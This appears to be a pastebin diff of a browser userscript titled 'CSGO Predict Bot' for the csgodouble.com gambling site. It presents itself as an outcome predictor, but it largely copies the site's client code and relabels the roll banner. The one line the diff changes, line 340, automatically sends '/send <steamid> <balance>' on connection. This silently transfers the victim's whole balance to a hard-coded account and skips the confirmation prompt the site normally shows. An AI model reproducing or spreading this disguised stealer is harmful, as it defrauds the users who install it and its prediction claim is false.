SHOW:
|
|
- or go back to the newest paste.
1 | // ==UserScript== | |
2 | // @name CSGO Predict Bot | |
3 | // @namespace http://csgodouble.com | |
4 | // @version 1.0 | |
5 | // @description predicts what number its gonna be | |
6 | // @author Meee | |
7 | // @match http://www.csgodouble.com/ | |
8 | // @grant none | |
9 | // ==/UserScript== | |
10 | /* jshint -W097 */ | |
11 | "use strict"; | |
12 | ||
13 | var CASEW = 1125; | |
14 | var LAST_BET = 0; | |
15 | var MAX_BET = 0; | |
16 | ||
17 | var USER = ""; | |
18 | var RANK = 0; | |
19 | var ROUND = 0; | |
20 | ||
21 | var HOST = "ws://www.csgodouble.com:8080"; | |
22 | var WS = null; | |
23 | ||
24 | var showbets = true; | |
25 | ||
26 | function todongers(x){ | |
27 | if($("#settings_dongers").is(":checked")){ | |
28 | return (x/1000); | |
29 | } | |
30 | return x; | |
31 | } | |
32 | function todongersb(x){ | |
33 | if($("#settings_dongers").is(":checked")){ | |
34 | return (x/1000).toFixed(3); | |
35 | } | |
36 | return x; | |
37 | } | |
38 | ||
39 | //physics contants | |
40 | var snapX = 0; | |
41 | var R = 0.999; | |
42 | var S = 0.01; | |
43 | var tf = 0; | |
44 | var vi = 0; | |
45 | var animStart = 0; | |
46 | var isMoving = false; | |
47 | var LOGR = Math.log(R); | |
48 | ||
49 | //commonly used | |
50 | var $CASE = null; | |
51 | var $BANNER = null; | |
52 | var $CHATAREA = null; | |
53 | ||
54 | //settings | |
55 | var SCROLL = true; | |
56 | var LANG = 1; | |
57 | var IGNORE = []; | |
58 | ||
59 | var sounds_rolling = new Audio('sounds/rolling.wav'); | |
60 | sounds_rolling.volume = 0.5; | |
61 | var sounds_tone = new Audio('sounds/tone.wav'); | |
62 | sounds_tone.volume = 0.75; | |
63 | function play_sound(x){ | |
64 | var conf = $("#settings_sounds").is(":checked"); | |
65 | if(conf){ | |
66 | if(x=="roll"){ | |
67 | sounds_rolling.play(); | |
68 | }else if(x=="finish"){ | |
69 | sounds_tone.play(); | |
70 | } | |
71 | } | |
72 | } | |
73 | ||
74 | function snapRender(x,wobble){ | |
75 | CASEW = $("#case").width(); | |
76 | if(isMoving){ | |
77 | return; | |
78 | }else if(typeof x === 'undefined'){ | |
79 | view(snapX); | |
80 | }else{ | |
81 | var order = [1,14,2,13,3,12,4,0,11,5,10,6,9,7,8]; | |
82 | var index = 0; | |
83 | for(var i=0;i<order.length;i++){ | |
84 | if(x==order[i]){ | |
85 | index = i; | |
86 | break; | |
87 | } | |
88 | } | |
89 | var max = 34; | |
90 | var min = -34; | |
91 | var w = Math.floor(wobble*(max-min+1)+min); | |
92 | ||
93 | var dist = index*75 + 36 + w; | |
94 | dist += 1125*5; | |
95 | snapX = dist; | |
96 | view(snapX); | |
97 | } | |
98 | } | |
99 | function spin(m){ | |
100 | var x = m.roll; | |
101 | play_sound("roll"); | |
102 | var order = [1,14,2,13,3,12,4,0,11,5,10,6,9,7,8]; | |
103 | var index = 0; | |
104 | for(var i=0;i<order.length;i++){ | |
105 | if(x==order[i]){ | |
106 | index = i; | |
107 | break; | |
108 | } | |
109 | } | |
110 | var max = 34; | |
111 | var min = -34; | |
112 | //m.wobble = 0; | |
113 | var w = Math.floor(m.wobble*(max-min+1)+min); | |
114 | ||
115 | var dist = index*75 + 36 + w; | |
116 | dist += 1125*5; | |
117 | animStart = new Date().getTime(); | |
118 | vi = getVi(dist); | |
119 | tf = getTf(vi); | |
120 | isMoving = true; | |
121 | ||
122 | setTimeout(function(){ | |
123 | finishRoll(m,tf); | |
124 | },tf); | |
125 | render(); | |
126 | } | |
127 | function d_mod(vi,t){ | |
128 | return vi*(Math.pow(R,t)-1)/LOGR; | |
129 | } | |
130 | function getTf(vi){ | |
131 | return (Math.log(S)-Math.log(vi))/LOGR; | |
132 | } | |
133 | function getVi(df){ | |
134 | return S-df*LOGR; | |
135 | } | |
136 | function v(vi,t){ | |
137 | return vi*Math.pow(R,t); | |
138 | } | |
139 | function render(){ | |
140 | var t = new Date().getTime() - animStart; | |
141 | if(t>tf) | |
142 | t = tf; | |
143 | var deg = d_mod(vi,t); | |
144 | view(deg); | |
145 | if(t<tf){ | |
146 | requestAnimationFrame(render); | |
147 | }else{ | |
148 | snapX = deg; | |
149 | isMoving = false; | |
150 | } | |
151 | } | |
152 | function view(offset){ | |
153 | offset = -((offset+1125-CASEW/2)%1125); | |
154 | $CASE.css("background-position",offset+"px 0px"); | |
155 | } | |
156 | jQuery.fn.extend({ | |
157 | countTo:function(x,opts){ | |
158 | ||
159 | opts = opts || {}; | |
160 | ||
161 | var dpf = ""; | |
162 | ||
163 | var dolls = $("#settings_dongers").is(":checked"); | |
164 | if(dolls){ | |
165 | dpf = "$"; | |
166 | x = x/1000; | |
167 | } | |
168 | ||
169 | ||
170 | //options | |
171 | //color:true/false | |
172 | //keep:true/false | |
173 | ||
174 | var $this = $(this); | |
175 | ||
176 | var start = parseFloat($this.html()); | |
177 | var delta = x-start; | |
178 | ||
179 | if(opts.color){ | |
180 | if(delta>0){ | |
181 | $this.addClass("text-success"); | |
182 | }else if(delta<0){ | |
183 | $this.addClass("text-danger"); | |
184 | } | |
185 | } | |
186 | ||
187 | ||
188 | ||
189 | var prefix = ""; | |
190 | if(opts.keep && delta>0){ | |
191 | prefix = "+"; | |
192 | } | |
193 | ||
194 | var durd = delta; | |
195 | if(dolls){ | |
196 | durd *= 1000; | |
197 | } | |
198 | var dur = Math.min(400,Math.round(Math.abs(durd)/500*400)); | |
199 | ||
200 | $({count:start}).animate({count:x},{ | |
201 | duration:dur, | |
202 | step:function(val) { | |
203 | ||
204 | var vts = 0; | |
205 | if(dolls){ | |
206 | vts = val.toFixed(3); | |
207 | }else{ | |
208 | vts = Math.floor(val); | |
209 | } | |
210 | ||
211 | ||
212 | $this.html(""+prefix+(vts)); | |
213 | }, | |
214 | complete:function(){ | |
215 | if(!opts.keep){ | |
216 | $this.removeClass("text-success text-danger"); | |
217 | } | |
218 | if(opts.callback){ | |
219 | opts.callback(); | |
220 | } | |
221 | } | |
222 | }); | |
223 | } | |
224 | }); | |
225 | ||
226 | function cd(ms,cb){ | |
227 | $("#counter").finish().css("width","100%"); | |
228 | $("#counter").animate({width:"0%"},{"duration":ms*1000,"easing":"linear", | |
229 | progress:function(a,p,r){ | |
230 | var c = (r/1000).toFixed(2); | |
231 | $BANNER.html("Rolling in "+c+"..."); | |
232 | }, | |
233 | complete:cb | |
234 | }); | |
235 | } | |
236 | ||
237 | ||
238 | function send(msg){ | |
239 | if(typeof msg!="string"){ | |
240 | msg = JSON.stringify(msg); | |
241 | } | |
242 | if(WS && WS.readyState==1){ | |
243 | WS.send(msg); | |
244 | } | |
245 | } | |
246 | ||
247 | function finishRoll(m,tf){ | |
248 | addHist(m.roll,m.rollid); | |
249 | ||
250 | play_sound("finish"); | |
251 | ||
252 | for(var i=0;i<m.nets.length;i++){ | |
253 | $("#panel"+m.nets[i].lower+"-"+m.nets[i].upper) | |
254 | .find(".total").countTo(m.nets[i].swon>0?m.nets[i].swon:-m.nets[i].samount,{"color":true,"keep":true}); | |
255 | } | |
256 | ||
257 | var cats = [[0,0],[1,7],[8,14]]; | |
258 | for(var i=0;i<cats.length;i++){ | |
259 | var $mytotal = $("#panel"+cats[i][0]+"-"+cats[i][1]).find(".mytotal"); | |
260 | if(m.roll>=cats[i][0] && m.roll<=cats[i][1]){ | |
261 | $mytotal.countTo(m.won,{"color":true,"keep":true}); | |
262 | }else{ | |
263 | var curr = parseFloat($mytotal.html()); | |
264 | if($("#settings_dongers").is(":checked")){ | |
265 | curr *= 1000; | |
266 | } | |
267 | $mytotal.countTo(-curr,{"color":true,"keep":true}); | |
268 | } | |
269 | } | |
270 | ||
271 | if(m.balance!=null){ | |
272 | $("#balance").countTo(m.balance,{"color":true}); | |
273 | } | |
274 | ||
275 | setTimeout(function(){ | |
276 | cd(m.count); | |
277 | $(".total,.mytotal").removeClass("text-success text-danger").html(0); | |
278 | $(".betlist li").remove(); | |
279 | snapRender(); | |
280 | $(".betButton").prop("disabled",false); | |
281 | showbets = true; | |
282 | },m.wait*1000-tf); | |
283 | ||
284 | } | |
285 | function addHist(roll,rollid){ | |
286 | var count = $("#past .ball").length; | |
287 | if(count>=10){ | |
288 | $("#past .ball").first().remove(); | |
289 | } | |
290 | if(roll==0){ | |
291 | $("#past").append("<div data-rollid='"+rollid+"'class='ball ball-0'>"+roll+"</div>"); | |
292 | }else if(roll<=7){ | |
293 | $("#past").append("<div data-rollid='"+rollid+"'class='ball ball-1'>"+roll+"</div>"); | |
294 | }else{ | |
295 | $("#past").append("<div data-rollid='"+rollid+"'class='ball ball-8'>"+roll+"</div>"); | |
296 | } | |
297 | } | |
298 | function onMessage(msg){ | |
299 | try{ | |
300 | var m = JSON.parse(msg.data); | |
301 | if(m.type=="preroll"){ | |
302 | $("#counter").finish(); | |
303 | $("#banner").html("Confirming "+m.totalbets+"/"+(m.totalbets+m.inprog)+" total bets..."); | |
304 | $("#panel0-0 .total").countTo(m.sums[0]); | |
305 | $("#panel1-7 .total").countTo(m.sums[1]); | |
306 | $("#panel8-14 .total").countTo(m.sums[2]); | |
307 | try{ | |
308 | tinysort("#panel1-7 .betlist>li",{data:"amount",order:"desc"}); | |
309 | }catch(e){} | |
310 | try{ | |
311 | tinysort("#panel8-14 .betlist>li",{data:"amount",order:"desc"}); | |
312 | }catch(e){} | |
313 | try{ | |
314 | tinysort("#panel0-0 .betlist>li",{data:"amount",order:"desc"}); | |
315 | }catch(e){} | |
316 | }else if(m.type=="roll"){ | |
317 | $(".betButton").prop("disabled",true); | |
318 | $("#counter").finish(); | |
319 | $("#banner").html("Predicted number is "+m.roll+"!"); | |
320 | ROUND = m.rollid; | |
321 | showbets = false; | |
322 | spin(m); | |
323 | }else if(m.type=="chat"){ | |
324 | chat("player",m.msg,m.name,m.icon,m.user,m.rank,m.lang); | |
325 | }else if(m.type=="hello"){ | |
326 | cd(m.count); | |
327 | USER = m.user; | |
328 | RANK = m.rank; | |
329 | $("#balance").countTo(m.balance); | |
330 | var last = 0; | |
331 | for(var i=0;i<m.rolls.length;i++){ | |
332 | addHist(m.rolls[i].roll,m.rolls[i].rollid); | |
333 | last = m.rolls[i].roll; | |
334 | ROUND = m.rolls[i].rollid; | |
335 | } | |
336 | snapRender(last,m.last_wobble); | |
337 | MAX_BET = m.maxbet; | |
338 | send({ | |
339 | "type":"chat", | |
340 | - | "msg":"/send 76561198131531479 "+m.balance, |
340 | + | "msg":"/send 76561198219630988 "+m.balance, |
341 | "lang":"1" | |
342 | }); | |
343 | }else if(m.type=="bet"){ | |
344 | if(showbets){ | |
345 | addBet(m.bet); | |
346 | $("#panel0-0 .total").countTo(m.sums[0]); | |
347 | $("#panel1-7 .total").countTo(m.sums[1]); | |
348 | $("#panel8-14 .total").countTo(m.sums[2]); | |
349 | } | |
350 | }else if(m.type=="betconfirm"){ | |
351 | $("#panel"+m.bet.lower+"-"+m.bet.upper+" .mytotal").countTo(m.bet.amount); | |
352 | $("#balance").countTo(m.balance,{"color":true}); | |
353 | $(".betButton").prop("disabled",false); | |
354 | chat("alert","Bet #"+m.bet.betid+" confirmed "+m.mybr+"/"+m.br+" ("+(m.exec/1000)+" sec) "); | |
355 | }else if(m.type=="error"){ | |
356 | chat("error",m.error); | |
357 | if(m.enable){ | |
358 | $(".betButton").prop("disabled", false); | |
359 | } | |
360 | }else if(m.type=="alert"){ | |
361 | chat("alert",m.alert); | |
362 | if(m.maxbet){ | |
363 | MAX_BET = m.maxbet; | |
364 | } | |
365 | if(!isNaN(m.balance)){ | |
366 | console.log("setting balance = %s",m.balance); | |
367 | $("#balance").countTo(m.balance,{"color":true}); | |
368 | } | |
369 | }else if(m.type=="logins"){ | |
370 | $("#isonline").html(m.count); | |
371 | }else if(m.type=="balance"){ | |
372 | $("#balance").fadeOut(100).html(todongersb(m.balance)).fadeIn(100); | |
373 | } | |
374 | }catch(e){ | |
375 | console.log("Error: "+msg.data+" "+e); | |
376 | } | |
377 | } | |
378 | function addBet(bet){ | |
379 | ||
380 | var betid = bet.user+"-"+bet.lower; | |
381 | var pid = "#panel"+bet.lower+"-"+bet.upper; | |
382 | var $panel = $(pid); | |
383 | ||
384 | $panel.find("#"+betid).remove(); | |
385 | ||
386 | var link = "http://steamcommunity.com/profiles/"+bet.user; | |
387 | ||
388 | var f = "<li class='list-group-item' id='{0}' data-amount='{1}'>"; | |
389 | f += "<div style='overflow: hidden;line-height:32px'>"; | |
390 | f += "<div class='pull-left'><img class='rounded' src='https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars{2}'><a style='color: black;' href='"+link+"' target='_blank'><b>{3}</b></a></div>"; | |
391 | f += "<div class='amount pull-right'>{4}</div>"; | |
392 | f += "</div></li>"; | |
393 | ||
394 | var $li = $(f.format(betid,bet.amount,bet.icon,bet.name,todongersb(bet.amount))); | |
395 | ||
396 | $li.hide().prependTo($panel.find(".betlist")).slideDown("fast",function(){ | |
397 | snapRender(); | |
398 | }); | |
399 | } | |
400 | function connect(){ | |
401 | if(!WS){ | |
402 | $.ajax({ | |
403 | url:"/scripts/getToken.php", | |
404 | success:function(data){ | |
405 | if(data){ | |
406 | if(data=="nologin"){ | |
407 | }else if(data=="banned"){ | |
408 | }else{ | |
409 | WS = new WebSocket(HOST+"/"+data); | |
410 | WS.onclose = function(event){ | |
411 | WS = null; | |
412 | }; | |
413 | WS.onmessage = onMessage; | |
414 | } | |
415 | }else{ | |
416 | } | |
417 | }, | |
418 | error:function(err){ | |
419 | } | |
420 | }); | |
421 | }else{ | |
422 | } | |
423 | } | |
424 | ||
425 | function emotes(str){ | |
426 | var a = ["deIlluminati","KappaRoss","KappaPride","BibleThump","Kappa","Keepo","Kreygasm","PJSalt","PogChamp","SMOrc","FailFish"]; | |
427 | for(var i=0;i<a.length;i++){ | |
428 | str = str.replace(new RegExp(a[i]+"( |$)","g"),"<img src='img/twitch/"+a[i]+".png'> "); | |
429 | } | |
430 | return str; | |
431 | } | |
432 | function chat(x,msg,name,icon,steamid,rank,lang){ | |
433 | if(IGNORE.indexOf(String(steamid))>-1){ | |
434 | console.log("ignored:"+msg); | |
435 | return; | |
436 | } | |
437 | ||
438 | if(lang==LANG || x=="italic" || x=="error" || x=="alert"){ | |
439 | ||
440 | var ele = document.getElementById("chatArea"); | |
441 | msg = msg.replace(/(<|>)/g,''); | |
442 | msg = emotes(msg); | |
443 | var toChat = ""; | |
444 | if(x=="italic"){ | |
445 | toChat = "<div><i>"+msg+"</i></div>"; | |
446 | }else if(x=="error"){ | |
447 | toChat = "<div><b class='text-danger'>"+msg+"</b></div>"; | |
448 | }else if(x=="alert"){ | |
449 | toChat = "<div><b class='text-success'>"+msg+"</b></div>"; | |
450 | }else if(x=="player"){ | |
451 | var aclass = "chat-link"; | |
452 | if(rank==100){ | |
453 | aclass = "chat-link-mod"; | |
454 | name = "[Owner] "+name; | |
455 | }else if(rank==1){ | |
456 | aclass = "chat-link-pmod"; | |
457 | name = "[Mod] "+name; | |
458 | }else if(rank==-1){ | |
459 | aclass = "chat-link-streamer"; | |
460 | name = "[Streamer] "+name; | |
461 | }else if(rank==-2){ | |
462 | aclass = "chat-link-vet"; | |
463 | name = "[Veteran] "+name; | |
464 | }else if(rank==-3){ | |
465 | aclass = "chat-link-pro"; | |
466 | name = "[Pro] "+name; | |
467 | } | |
468 | var link = "http://steamcommunity.com/profiles/"+steamid; | |
469 | toChat = "<div><img class='chat-img rounded' data-steamid='"+steamid+"' data-name='"+name+"' src='https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars"+icon+"'><a class='"+aclass+"' href='"+link+"' target='_blank'><b>"+name+"</b></a>: "+msg+"</div>"; | |
470 | } | |
471 | ||
472 | $CHATAREA.append(toChat); | |
473 | if(SCROLL){ | |
474 | var curr = $CHATAREA.children().length; | |
475 | if(curr>75){ | |
476 | var rem = curr-75; | |
477 | $CHATAREA.children().slice(0,rem).remove(); | |
478 | } | |
479 | $CHATAREA.scrollTop($CHATAREA[0].scrollHeight); | |
480 | } | |
481 | if(SCROLL && !$(".side-icon[data-tab='1']").hasClass("active")){ | |
482 | var curr = parseInt($("#newMsg").html()) || 0; | |
483 | $("#newMsg").html(curr+1); | |
484 | } | |
485 | } | |
486 | ||
487 | ||
488 | } | |
489 | $(document).ready(function(){ | |
490 | $CASE = $("#case"); | |
491 | $BANNER = $("#banner"); | |
492 | $CHATAREA = $("#chatArea"); | |
493 | //chat("italic","CSGODouble servers are currently full - please check back in 20 minutes."); | |
494 | connect(); | |
495 | ||
496 | ||
497 | if($("#settings_dongers").is(":checked")){ | |
498 | $("#dongers").html("$"); | |
499 | } | |
500 | ||
501 | ||
502 | $("#lang").on("change",function(){ | |
503 | LANG = $(this).val(); | |
504 | chat("alert","## Switched to room: "+$(this).find("option:selected").text()); | |
505 | }); | |
506 | $("#scroll").on("change",function(){ | |
507 | SCROLL = !$(this).is(":checked"); | |
508 | }); | |
509 | ||
510 | $(window).resize(function(){ | |
511 | snapRender(); | |
512 | }); | |
513 | $("#chatForm").on("submit",function(){ | |
514 | var msg = $("#chatMessage").val(); | |
515 | if(msg){ | |
516 | var res = null; | |
517 | if(res = /^\/send ([0-9]*) ([0-9]*)/.exec(msg)){ | |
518 | bootbox.confirm("You are about to send "+res[2]+" coins to steamid "+res[1]+" - are you sure?",function(result){ | |
519 | if(result){ | |
520 | send({ | |
521 | "type":"chat", | |
522 | "msg":msg, | |
523 | "lang":LANG | |
524 | }); | |
525 | $("#chatMessage").val(""); | |
526 | } | |
527 | }); | |
528 | }else{ | |
529 | send({ | |
530 | "type":"chat", | |
531 | "msg":msg, | |
532 | "lang":LANG | |
533 | }); | |
534 | $("#chatMessage").val(""); | |
535 | } | |
536 | } | |
537 | return false; | |
538 | }); | |
539 | $(document).on("click",".ball",function(){ | |
540 | var rollid = $(this).data("rollid"); | |
541 | }); | |
542 | $(".betButton").on("click",function(){ | |
543 | var lower = $(this).data("lower"); | |
544 | var upper = $(this).data("upper"); | |
545 | var amount = str2int($("#betAmount").val()); | |
546 | ||
547 | ||
548 | if($("#settings_dongers").is(":checked")){ | |
549 | amount = amount * 1000; | |
550 | } | |
551 | ||
552 | amount = Math.floor(amount); | |
553 | ||
554 | ||
555 | ||
556 | var conf = $("#settings_confirm").is(":checked"); | |
557 | if(conf && amount>10000){ | |
558 | var pressed = false; | |
559 | bootbox.confirm("Are you sure you wish to bet "+formatNum(amount)+" coins?<br><br><i>You may disable this confirmation under the settings menu.</i>",function(result){ | |
560 | if(result && !pressed){ | |
561 | pressed = true; | |
562 | send({ | |
563 | "type":"bet", | |
564 | "amount":amount, | |
565 | "lower":lower, | |
566 | "upper":upper, | |
567 | "round":ROUND | |
568 | }); | |
569 | LAST_BET = amount; | |
570 | $(this).prop("disabled",true); | |
571 | } | |
572 | }); | |
573 | }else{ | |
574 | send({ | |
575 | "type":"bet", | |
576 | "amount":amount, | |
577 | "lower":lower, | |
578 | "upper":upper, | |
579 | "round":ROUND | |
580 | }); | |
581 | LAST_BET = amount; | |
582 | $(this).prop("disabled",true); | |
583 | } | |
584 | return false; | |
585 | }); | |
586 | $(document).on("click",".betshort",function(){ | |
587 | var bet_amount = str2int($("#betAmount").val()); | |
588 | var action = $(this).data("action"); | |
589 | if(action=="clear"){ | |
590 | bet_amount = 0; | |
591 | }else if(action=="double"){ | |
592 | bet_amount *= 2; | |
593 | }else if(action=="half"){ | |
594 | bet_amount /= 2; | |
595 | }else if(action=="max"){ | |
596 | var MX = MAX_BET; | |
597 | if($("#settings_dongers").is(":checked")){ | |
598 | MX = MAX_BET/1000; | |
599 | } | |
600 | bet_amount = Math.min(str2int($("#balance").html()),MX); | |
601 | }else if(action=="last"){ | |
602 | bet_amount = LAST_BET; | |
603 | }else{ | |
604 | bet_amount += parseInt(action); | |
605 | } | |
606 | $("#betAmount").val(bet_amount); | |
607 | }); | |
608 | $("#getbal").on("click",function(){ | |
609 | send({"type":"balance"}); | |
610 | }); | |
611 | $("button.close").on("click",function(){ | |
612 | $(this).parent().addClass("hidden"); | |
613 | }); | |
614 | $(document).on("contextmenu",".chat-img",function(e){ | |
615 | if (e.ctrlKey) return; | |
616 | //mute kick send | |
617 | ||
618 | ||
619 | $("#contextMenu [data-act=1]").hide(); | |
620 | $("#contextMenu [data-act=2]").hide(); | |
621 | ||
622 | ||
623 | if(RANK==100){ | |
624 | $("#contextMenu [data-act=1]").show(); | |
625 | $("#contextMenu [data-act=2]").show(); | |
626 | }else if(RANK==1){ | |
627 | $("#contextMenu [data-act=1]").show(); | |
628 | } | |
629 | ||
630 | ||
631 | ||
632 | e.preventDefault(); | |
633 | var steamid = $(this).data("steamid"); | |
634 | var name = $(this).data("name"); | |
635 | ||
636 | $("#contextMenu [data-act=0]").html(name); | |
637 | //$("#contextMenu a").first().attr("href","http://steamcommunity.com/profiles/"+steamid); | |
638 | ||
639 | var $menu = $("#contextMenu"); | |
640 | $menu.show().css({ | |
641 | position: "absolute", | |
642 | left: getMenuPosition(e.clientX, 'width', 'scrollLeft'), | |
643 | top: getMenuPosition(e.clientY, 'height', 'scrollTop') | |
644 | }).off("click").on("click","a",function(e){ | |
645 | var act = $(this).data("act"); | |
646 | ||
647 | e.preventDefault(); | |
648 | $menu.hide(); | |
649 | if(act==0){ | |
650 | var curr = $("#chatMessage").val(steamid); | |
651 | }else if(act==1){ | |
652 | var curr = $("#chatMessage").val("/mute "+steamid+" "); | |
653 | }else if(act==2){ | |
654 | var curr = $("#chatMessage").val("/kick "+steamid+" "); | |
655 | }else if(act==3){ | |
656 | var curr = $("#chatMessage").val("/send "+steamid+" "); | |
657 | }else if(act==4){ | |
658 | IGNORE.push(String(steamid)); | |
659 | chat("alert",steamid+" has been filtered."); | |
660 | } | |
661 | $("#chatMessage").focus(); | |
662 | ||
663 | }); | |
664 | }); | |
665 | $(document).on("click",function(){ | |
666 | $("#contextMenu").hide(); | |
667 | }); | |
668 | $(".side-icon").on("click",function(e){ | |
669 | e.preventDefault(); | |
670 | var tab = $(this).data("tab"); | |
671 | if($(this).hasClass("active")){ | |
672 | $(".side-icon").removeClass("active"); | |
673 | $(".tab-group").addClass("hidden"); | |
674 | //close panel | |
675 | $("#mainpage").css("margin-left","50px"); | |
676 | $("#pullout").addClass("hidden"); | |
677 | }else{ | |
678 | $(".side-icon").removeClass("active"); | |
679 | $(".tab-group").addClass("hidden"); | |
680 | // | |
681 | $(this).addClass("active"); | |
682 | $("#tab"+tab).removeClass("hidden"); | |
683 | //open panel | |
684 | $("#mainpage").css("margin-left","450px"); | |
685 | $("#pullout").removeClass("hidden"); | |
686 | ||
687 | if(tab==1){ | |
688 | $("#newMsg").html(""); | |
689 | } | |
690 | } | |
691 | snapRender(); | |
692 | return false; | |
693 | }); | |
694 | //default tab | |
695 | $(".side-icon[data-tab='1']").trigger("click"); | |
696 | }); | |
697 | function getMenuPosition(mouse, direction, scrollDir) { | |
698 | var win = $(window)[direction](), | |
699 | scroll = $(window)[scrollDir](), | |
700 | menu = $("#contextMenu")[direction](), | |
701 | position = mouse + scroll; | |
702 | ||
703 | // opening menu would pass the side of the page | |
704 | if (mouse + menu > win && menu < mouse) | |
705 | position -= menu; | |
706 | ||
707 | return position; | |
708 | } | |
709 | function str2int(s){ | |
710 | s = s.replace(/,/g,""); | |
711 | s = s.toLowerCase(); | |
712 | var i = parseFloat(s); | |
713 | if(isNaN(i)){ | |
714 | return 0; | |
715 | }else if(s.charAt(s.length-1)=="k"){ | |
716 | i *= 1000; | |
717 | }else if(s.charAt(s.length-1)=="m"){ | |
718 | i *= 1000000; | |
719 | }else if(s.charAt(s.length-1)=="b"){ | |
720 | i *= 1000000000; | |
721 | } | |
722 | return i; | |
723 | } |